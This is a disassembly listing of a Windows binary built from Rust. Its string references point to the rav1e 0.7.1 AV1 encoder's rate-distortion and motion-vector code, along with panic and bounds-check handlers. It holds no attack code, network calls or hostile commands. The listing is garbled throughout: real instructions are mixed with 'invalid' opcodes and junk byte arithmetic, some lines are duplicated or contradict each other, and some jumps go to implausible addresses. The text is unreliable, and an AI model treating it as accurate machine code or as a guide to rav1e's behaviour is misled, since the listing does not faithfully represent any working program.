lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, qword [rbx + 0x148]
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov ecx, esi
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor ecx, ecx
leave
xor edx, edx
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, qword [rbx + 0x148]
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1401041da
push 7
pop rdx
mov rcx, rax
call fcn.1401c6eb0
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
adc dword [rcx + 0x18], eax
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], rdx
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1401041da
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], rdx
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1401041da
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x168], rdx
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1401041da
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0xb00]
mov qword [rcx], rax
add dword [rax - 0x39], ecx
or byte [r9], al
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x77], cl
mov bl, 0x60
add dword [rax], eax
add byte [rax - 0x77], cl
xchg ebx, eax
push 0x48000001
lea edx, [0x14023dff0]
call fcn.1401c6e60
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rax
call fcn.1401c6eb0
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1401c6eb0
jmp 0x1401041da
lea rax, str.Index_out_of_bounds
lea rcx, [rbx + 0x340]
mov qword [rcx], rax
mov qword [rcx + 8], 1
add byte [rax], al
add byte [rax], al
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov rax, qword [rbx + 0x188]
mov qword [rbx + 0x198], rax
mov qword [rbx + 0x1a0], rdi
add byte [rax], al
add byte [rax], al
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1401041da
lea rax, str.Index_out_of_bounds
adc eax, dword [rax]
lea rcx, [rbx + 0x340]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
lea rdx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c6e60
jmp 0x1401041da
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor edx, edx
xor ecx, ecx
call fcn.1401c6eb0
lea rcx, [0x14023c928]
call fcn.1401c6a09
jmp 0x1401041da
push 1
pop rcx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
add al, ch
invalid
invalid
or al, 0
add al, ch
invalid
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
jmp 0x140103fbd
lea rcx, [0x140241d39]
lea r8, str.e__
jmp 0x140103fab
add eax, 0x13cf50
jmp 0x140103d3b
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
push 0x44
jmp 0x140103fbf
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
adc eax, dword [rax]
adc eax, dword [rax]
push 0x43
pop rdx
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, str.e__
push 0x44
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
push 0x43
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, str.assertion_failed:_end___start__end___len
or eax, 0x139ff8
or eax, 0x139ff8
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
push 0x2c
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
mov qword [rbx + 0x160], r13
mov qword [rbx + 0x168], r15
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
push 0x2c
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
push 0x43
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
push 0x44
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
mov qword [rbx + 0x198], r14
mov qword [rbx + 0x1a0], rdi
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
push 0x2c
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
mov qword [rbx + 0x150], r13
mov rax, qword [rbx + 0x110]
mov qword [rbx + 0x158], rax
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1401041da
mov qword [rbx + 0x160], r13
mov rax, qword [rbx + 0x110]
adc dword [rax], 1
add byte [rax], al
mov qword [rbx + 0x168], rax
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1401041da
lea rcx, [0x14023c928]
call fcn.1401c6a09
mov qword [rbx + 0x198], r14
mov rax, qword [rbx + 0x130]
mov qword [rbx + 0x1a0], rax
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1401041da
add byte [rax], al
invalid
lea rcx, str.assertion_failed:_best.rd_cost___0_f64
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 0x27
jmp 0x140103fbf
lea rcx, str.not_implemented
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
push 0xf
pop rdx
call fcn.1401c6f30
jmp 0x1401041da
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140009390
push 0x2b
pop rdx
lea r8, [rbx + 0xb00]
call fcn.1401c7200
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1401041da
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1401041da
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
jmp 0x1401041da
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.1401c7290
ud2
xor edx, edx
cmp dil, 7
sete dl
mov rcx, qword [r14 + 0x1288]
imul r8, rax, 0x18
add r8, 0x2f4
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov r9, r14
mov ecx, esi
mov ecx, esi
call case.0x1400474a4.368
cmp dil, 7
je 0x140105a7a
add dword [rax], eax
invalid
mov rsi, qword [rsp + 0xc8]
mov rcx, qword [rsi + 0x1278]
mov rdx, qword [rbp + 0xa18]
xchg ebp, eax
sbb byte [rdx], cl
add byte [rax], al
mov r8, qword [rbp + 0xa20]
call fcn.1400d979e
xor edx, edx
cmp dil, 6
add byte [rax - 0x75], cl
invalid
std
push qword [rcx]
rol byte [rax - 0x80], cl
inc dword [rsi]
sete dl
mov rcx, qword [rsi + 0x1288]
imul r8, rax, 0x18
add r8, 0x304
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0xe0]
add byte [rax], al
add byte [rcx - 0x77], cl
int1
jmp 0x140105a75
dec dword [rcx - 0x75]
invalid
mov rdi, qword [rsp + 0xe0]
mov rcx, rdi
mov r9, r15
call case.0x1400474a4.368
xor esi, esi
cmp r14b, 7
sete sil
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rbp + 0xa18]
or al, byte [rax]
add byte [rbx + rcx*4 - 0x7b], cl
and byte [rdx], cl
add byte [rax], al
or al, byte [rax]
add byte [rbx + rcx*4 - 0x7b], cl
and byte [rdx], cl
add byte [rax], al
call fcn.1400d964d
mov rcx, qword [r15 + 0x1288]
lea r8, [rax*8]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov edx, esi
mov r9, r15
call case.0x1400474a4.368
cmp r14b, 7
je 0x140105a7a
xor esi, esi
cmp r14b, 6
sete sil
mov rdi, qword [rsp + 0xc8]
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rbp + 0xa18]
mov edx, dword [rbp + 0xa18]
mov edx, dword [rbp + 0xa18]
mov r8, qword [rbp + 0xa20]
call fcn.1400d979e
mov rcx, qword [rdi + 0x1288]
lea r8, [rax*8 + 4]
mov qword [rsp + 0x20], rcx
test dword [rax], esp
or al, byte [rax]
add al, ch
cmp rax, 0xffffffff8b48fffd
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, qword [rsp + 0xe0]
mov edx, esi
mov r9, rdi
call case.0x1400474a4.368
mov r8b, byte [rbp + 0x9e0]
cmp r8b, 0x14
setb dil
invalid
jae 0x140105ac5
mov rcx, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xe0]
mov rdx, rsi
mov r9, qword [rbp + 0xa48]
call fcn.1400cda56
mov r8b, byte [rbp + 0x9e0]
cmp r8b, 0x13
mov rcx, qword [rbp + 0xa58]
mov ecx, dword [rbp + 0xa58]
mov ecx, dword [rbp + 0xa58]
je 0x140105b02
xor edi, edi
jmp 0x140105b63
mov rcx, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xe0]
mov rdx, rsi
mov r9, qword [rbp + 0xa48]
add al, ch
invalid
cmp ah, 0xff
mov r8b, byte [rbp + 0x9e0]
cmp r8b, 0x21
jne 0x140105b5a
add al, ch
invalid
mov rcx, qword [rbp + 0xa58]
cmp rcx, 2
jb 0x1401073b8
xor eax, eax
cmp rax, 2
je 0x140105b63
clc
add dh, byte [rcx + rbx*2 + 0x48]
inc eax
inc rax
cmp rcx, 2
jb 0x140105b04
int1
imul rax, rax, 0xc
mov ecx, 0x280
xor r9d, r9d
mov r14, qword [rbp + 0xa50]
mov esi, dword [rbp + 0xa50]
mov esi, dword [rbp + 0xa50]
cmp dword [r14 + rax + 8], ecx
setb r9b
cmp dword [r14 + 8], ecx
adc r9, 0
mov rcx, qword [rsp + 0xc8]
mov rdx, rsi
xor r8d, r8d
shr al, 0x8e
cmp ah, 0xff
shr al, 0x8e
cmp ah, 0xff
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
add byte [rax], al
add byte [rax], al
jmp 0x140105b76
xor edi, edi
mov rcx, qword [rbp + 0xa58]
test rcx, rcx
mov r11b, byte [rbp + 0xa10]
je 0x140105b86
mov r14, qword [rbp + 0xa50]
add byte [rax], al
mov rax, qword [r14]
mov qword [rsp + 0x130], rax
xor r14d, r14d
jmp 0x140105b9e
xor eax, eax
cmp rax, 2
je 0x140105b9b
and dword [rsp + rax*4 + 0x130], 0
inc rax
jmp 0x140105b88
mov r14b, 1
xor r15d, r15d
mov rax, qword [rsp + 0xe8]
cmp r15d, dword [rax + 0x2d4]
sbb r15d, r15d
push 1
pop rsi
or r15b, byte [rax + 0x31a]
test dil, dil
je 0x140105cb6
movzx edi, word [rbp + 0xa08]
mov ebp, 0xa08
movzx r9d, word [rbp + 0xa0a]
movzx eax, word [rsp + 0x130]
movzx ecx, word [rsp + 0x132]
mov byte [rsp + 0x30], r15b
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xe0]
mov r8d, edi
call fcn.1400cdc0e
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
add byte [rax], al
add byte [rax], al
cmp r8b, 0x21
ja case.0x140105cd8.18
mov eax, 0xfce38000
mov rcx, qword [rsp + 0xf0]
bt rax, rcx
jb case.0x140105cd8.15
movabs rax, 0x201000000
mov rcx, qword [rsp + 0xf0]
bt rax, rcx
jae 0x140107200
movzx r8d, word [rbp + 0xa0c]
movzx r9d, word [rbp + 0xa0e]
movzx eax, word [rsp + 0x134]
mov bh, 0x84
and al, 0x34
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 0x36
add dword [rax], eax
add byte [rax + rcx*4 + 0x7c], al
and al, 0x30
mov bh, 0x84
and al, 0x34
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x8c
and al, 0x36
add dword [rax], eax
add byte [rax + rcx*4 + 0x7c], al
and al, 0x30
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xe0]
call fcn.1400cdc0e
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
lea eax, [r8 - 0x1a]
cmp al, 6
jb 0x140105cf0
jmp case.0x140105cd8.18
mov rax, qword [rsp + 0xf0]
add eax, 0xfffffff2
cmp eax, 0x13
ja case.0x140105cd8.18
lea rcx, [0x14028c2ec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea eax, [r8 - 0xf]
cmp al, 8
ja 0x140105cf0
movzx eax, al
lea rcx, [0x14028adb0]
mov rsi, qword [rcx + rax*8]
cmp r8b, 0xf
mov rcx, qword [rbp + 0xa58]
je 0x140105d06
cmp rsi, rcx
jae 0x14010735c
push 2
pop rdi
mov rax, qword [rbp + 0xa50]
lea r14, [rax + 0x14]
mov r15d, 0x280
cmp rdi, 4
je 0x140105d82
cmp rdi, rcx
jae 0x140105d79
lea r13, [rdi - 1]
cmp rsi, r13
seta r8b
xor r9d, r9d
cmp dword [r14 + 0xc], r15d
setb r9b
setb cl
cmp dword [r14], r15d
adc r9, 0
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xe0]
call fcn.1400cdbd8
mov rcx, qword [rbp + 0xa58]
mov r8b, byte [rbp + 0x9e0]
mov r11b, byte [rbp + 0xa10]
cmp rsi, r13
mov r13, qword [rsp + 0x100]
jbe 0x140105d88
add r14, 0xc
inc rdi
jmp 0x140105d1a
cmp rcx, 1
jbe 0x140105dd0
cmp rsi, rcx
jae 0x14010730d
imul rax, rsi, 0xc
mov rdx, qword [rbp + 0xa50]
movzx ecx, word [rdx + rax]
cmp cx, word [rbp + 0xa08]
jne 0x140107380
add rdx, rax
movzx eax, word [rdx + 2]
cmp ax, word [rbp + 0xa0a]
je case.0x140105cd8.18
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.col__mvs_0_.col_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x14010738e
cmp word [rbp + 0xa08], 0
jne 0x140107392
cmp word [rbp + 0xa0a], 0
jne 0x1401073a2
mov rdi, qword [rsp + 0xe0]
mov r15, qword [rsp + 0xf0]
cmp r8b, 0xd
ja 0x140106029
mov al, byte [rbp + 0x9e0]
dec eax
cmp al, 8
jae 0x140105e3f
mov cl, byte [rbp + 0xa10]
call fcn.1400c502f
test al, al
je 0x140105e3f
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0x9f0]
mov r9b, byte [rbp + 0x9e0]
call fcn.1400cdd9d
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x230]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0xa18]
mov rdx, qword [rbp + 0xa20]
mov r8b, byte [rbp + 0xa10]
mov r9, r12
call fcn.1400cdd38
test al, al
je 0x140105f13
mov sil, byte [rbp + 0xa10]
mov byte [rsp + 0x20], sil
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r14b, byte [rbp + 0x9e8]
mov r8d, r14d
mov r9b, byte [rbp + 0x9e0]
call fcn.1400cddf9
cmp r14b, 0xd
jne 0x140105ede
mov ecx, esi
call fcn.1400cdf25
test al, al
je 0x14010736e
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8d, dword [rbp + 0xa30]
call fcn.1400cdf2c
jmp 0x140105f13
lea eax, [r14 - 1]
cmp al, 8
jae 0x140105f13
mov cl, byte [rbp + 0xa10]
call fcn.1400c502f
test al, al
je 0x140105f13
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0x9f8]
mov r9b, byte [rbp + 0x9e8]
call fcn.1400cdd9d
mov rax, qword [rsp + 0xe8]
cmp dword [rax + 0x2d0], 0
je 0x140105fbf
mov cl, byte [rbp + 0xa10]
call fcn.1400c502f
test al, al
je 0x140105fbf
mov cl, byte [rbp + 0xa10]
call fcn.14007c694
cmp rax, 0x40
ja 0x140105fbf
mov cl, byte [rbp + 0xa10]
call fcn.14007c6af
cmp rax, 0x40
ja 0x140105fbf
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x230]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov al, byte [rbp + 0x9e8]
mov byte [rsp + 0x30], al
mov al, byte [rbp + 0x9e0]
mov byte [rsp + 0x28], al
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0xa10]
mov r9, qword [rbp + 0xa18]
call fcn.1400cdfcd
mov al, byte [rbp + 0x9e0]
test al, al
mov r11b, byte [rbp + 0xa10]
jne 0x140106029
mov rax, qword [rsp + 0x120]
cmp byte [rax + 0x263], 0
je 0x140106029
mov ecx, r11d
call fcn.14007c694
mov r11b, byte [rbp + 0xa10]
cmp rax, 0x20
ja 0x140106029
mov ecx, r11d
call fcn.14007c6af
mov r11b, byte [rbp + 0xa10]
cmp rax, 0x20
ja 0x140106029
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8b, byte [rbp + 0xa10]
call fcn.1400ce0b9
mov r11b, byte [rbp + 0xa10]
mov rax, qword [rsp + 0xe8]
cmp byte [rax + 0x329], 0
movzx r14d, r11b
mov qword [rsp + 0x118], r14
je 0x1401061a8
mov rax, qword [rsp + 0xc8]
lea rsi, [rax + 0x30]
mov ecx, r11d
xor edx, edx
call fcn.1400c4731
test al, al
mov al, byte [rbp + 0x9e0]
mov cl, byte [rbp + 0xa38]
je 0x140106081
cmp al, 0xd
jbe 0x1401060bc
cmp byte [rbp + 0xa28], 0
je 0x140106126
cmp al, 0xe
setae al
and al, byte [rbp + 0xa28]
mov byte [rsp + 0x20], cl
mov byte [rsp + 0x28], al
mov rcx, rsi
mov rdx, qword [rbp + 0xa18]
mov r8, qword [rbp + 0xa20]
mov sil, byte [rbp + 0xa10]
mov r9d, esi
call fcn.14007667e
mov r11d, esi
jmp 0x1401061a8
mov byte [rsp + 0x28], cl
mov r12, r15
mov r15b, byte [rbp + 0xa10]
mov byte [rsp + 0x20], r15b
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov rdi, qword [rbp + 0xa18]
mov r8, rdi
mov r14, qword [rbp + 0xa20]
mov r9, r14
call fcn.1400ce0e8
mov al, byte [rbp + 0xa38]
mov byte [rsp + 0x20], al
mov byte [rsp + 0x28], 0
mov rcx, rsi
mov rdx, rdi
mov r8, r14
mov r14, qword [rsp + 0x118]
mov r9d, r15d
call fcn.14007667e
mov r11d, r15d
mov r15, r12
jmp 0x1401061a8
lea rax, [0x140240628]
mov sil, byte [r14 + rax]
mov rax, qword [rsp + 0xe8]
cmp byte [rax + 0x32a], 0
je 0x14010615a
call fcn.1400ce1b3
mov ecx, eax
mov r14b, byte [rbp + 0xa10]
mov edx, r14d
call fcn.1400cd5d9
jmp 0x140106163
xor eax, eax
mov r14b, byte [rbp + 0xa10]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x30], al
mov byte [rsp + 0x28], sil
mov byte [rsp + 0x20], r14b
and qword [rsp + 0x48], 0
mov rcx, qword [rsp + 0xc8]
mov rdx, rdi
mov r8, qword [rbp + 0xa18]
mov r9, qword [rbp + 0xa20]
call fcn.1400ce1c2
mov r11d, r14d
mov r14, qword [rsp + 0x118]
mov rsi, qword [rbp + 0xa60]
test rsi, rsi
je 0x14010620b
mov cl, byte [rbp + 0xa38]
call fcn.1400ce3cf
add qword [rsi + r14*8 + 0x80], rax
movzx ecx, byte [rbp + 0xa40]
cmp cl, 0x10
jae 0x1401072ef
add qword [rsi + rcx*8], rax
add qword [rsi + r15*8 + 0x130], rax
mov cl, byte [rbp + 0x9e8]
movzx ecx, cl
add qword [rsi + rcx*8 + 0x240], rax
cmp byte [rbp + 0xa28], 0
mov r11b, byte [rbp + 0xa10]
je 0x14010620b
add qword [rsi + 0x350], rax
mov rax, qword [rsp + 0x120]
cmp byte [rax + 0x264], 0
mov r9b, byte [rbp + 0x9e0]
mov rcx, qword [rsp + 0xd8]
je 0x1401062d1
xor eax, eax
cmp rax, qword [rsp + 0xd0]
je 0x1401062d1
lea rdi, [rax + 1]
mov r14, rax
add r14, qword [rbp + 0xa20]
mov rax, rdi
cmp r14, qword [r13 + 0x2f0]
jae 0x140106231
lea r15, [r14 + 1]
mov r12, rcx
mov rsi, qword [rbp + 0xa18]
sub r12, 1
jb 0x1401062c9
cmp rsi, qword [r13 + 0x2e8]
jae 0x1401062c4
mov r9, qword [r13 + 0x30]
mov r8, r9
imul r8, r14
imul r9, r15
mov rcx, qword [r13 + 0x20]
mov rdx, qword [r13 + 0x28]
call fcn.1400cf4ed
cmp rsi, rdx
cmp esi, edx
jae 0x140106b83
mov r9b, byte [rbp + 0x9e0]
mov byte [rax + rsi*4 + 2], r9b
mov cl, byte [rbp + 0x9e8]
mov byte [rax + rsi*4 + 3], cl
mov word [rax + rsi*4], bx
mov r11b, byte [rbp + 0xa10]
mov rcx, qword [rsp + 0xd8]
inc rsi
jmp 0x140106267
mov rax, rdi
jmp 0x140106231
cmp r9b, 0xd
jbe 0x1401065cd
mov rax, qword [rbp + 0xa08]
mov rcx, qword [rsp + 0xc8]
mov r8, qword [rcx + 0x1278]
mov rcx, qword [rbp + 0xa20]
mov qword [rsp + 0x40], rcx
mov r10, qword [rbp + 0xa18]
mov qword [rsp + 0x38], r10
mov byte [rsp + 0x30], r11b
mov qword [rsp + 0x28], rax
mov word [rsp + 0x20], bx
mov byte [rsp + 0x48], 0
mov rcx, qword [rsp + 0xe8]
mov rdx, r13
mov r13, r10
call fcn.140107404
cmp byte [rbp + 0xa28], 0
or al, byte [rax]
add byte [rax], al
jne 0x1401071e5
mov r14b, byte [rbp + 0xa38]
mov ecx, r14d
call fcn.140087f32
mov rsi, rax
movzx eax, byte [rsp + 0xd8]
div sil
movzx r12d, al
mov ecx, r14d
call fcn.140086bfc
mov rcx, rax
movzx eax, byte [rsp + 0xd0]
mov qword [rsp + 0x108], rcx
div cl
movzx eax, al
mov qword [rsp + 0x110], rax
mov rbx, qword [rsp + 0xe8]
call 0xca10638f
mov edi, ebx
add al, byte [rax]
add byte [rax - 0x75], cl
mov esp, 0x10024
add byte [rax - 0x75], cl
xchg edi, eax
mov al, 1
add byte [rax], al
mov rax, qword [rsp + 0xc8]
mov r8, qword [rax + 0x1278]
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x20], rax
mov r9, r13
call fcn.140108511
mov edx, eax
mov rax, qword [rdi + 0x70]
mov rcx, qword [rax + 0x90]
mov qword [rsp + 0x138], rcx
mov rax, qword [rax + 0x98]
mov qword [rsp + 0x150], rax
lea rcx, [rdi + 0x288]
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 0x1f0]
mov r8b, byte [rbx + 0x2fc]
mov byte [rsp + 0x28], r8b
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
xor edi, edi
mov qword [rsp + 0x168], rcx
mov byte [rsp + 0xf0], dl
mov r8d, r14d
xor r9d, r9d
call fcn.140073611
movzx eax, byte [rbp + 0x9f0]
shl eax, 8
mov dword [rsp + 0x128], eax
xorps xmm6, xmm6
xor eax, eax
mov qword [rsp + 0xd0], rax
cmp rdi, qword [rsp + 0x110]
jae 0x140106a4e
mov qword [rsp + 0xd8], rdi
imul rdi, qword [rsp + 0x108]
add rdi, qword [rbp + 0xa20]
xor r15d, r15d
mov rbx, r13
mov r13, qword [rsp + 0x100]
mov rax, qword [r13 + 0x2e8]
mov rcx, qword [r13 + 0x2f0]
lea r14, [r15 - 1]
imul r14, rsi
add r14, rbx
mov rdx, rsi
imul rdx, r15
add rdx, rbx
mov r13, rbx
cmp r15, r12
jae 0x1401065bd
inc r15
add r14, rsi
lea r8, [rdx + rsi]
cmp rdx, rax
mov rdx, r8
jae 0x1401064aa
mov rdx, r8
cmp rdi, rcx
jae 0x1401064aa
mov rbx, r13
mov r13, qword [rsp + 0x100]
mov rax, qword [r13 + 0x70]
mov r8, qword [rax + 0x30]
mov r9, qword [rax + 0x38]
mov rcx, r14
mov rdx, rdi
call fcn.14007df20
mov ecx, dword [rsp + 0x128]
mov dword [rsp + 0xa8], ecx
mov cl, byte [rsp + 0xf0]
mov byte [rsp + 0x90], cl
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x78], rax
mov al, byte [rbp + 0xa10]
mov byte [rsp + 0x70], al
mov al, byte [rbp + 0xa40]
mov byte [rsp + 0x68], al
mov al, byte [rbp + 0xa38]
mov byte [rsp + 0x60], al
mov al, byte [rbp + 0x9e0]
mov byte [rsp + 0x58], al
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], r14
movups xmmword [rsp + 0x38], xmm6
mov rax, qword [rbp + 0xa20]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
and qword [rsp + 0xa0], 0
mov qword [rsp + 0x98], 2
mov byte [rsp + 0x88], 0
and qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xe8]
mov rdx, r13
mov r8, qword [rsp + 0xc8]
mov r9, qword [rsp + 0xe0]
call fcn.1401085b1
mov rcx, qword [rsp + 0xd0]
or cl, al
and cl, 1
mov qword [rsp + 0xd0], rcx
jmp 0x140106484
mov rdi, qword [rsp + 0xd8]
inc rdi
jmp 0x140106450
mov sil, byte [rbp + 0xa38]
mov ecx, esi
call fcn.140087f32
mov rcx, rax
movzx eax, byte [rsp + 0xd8]
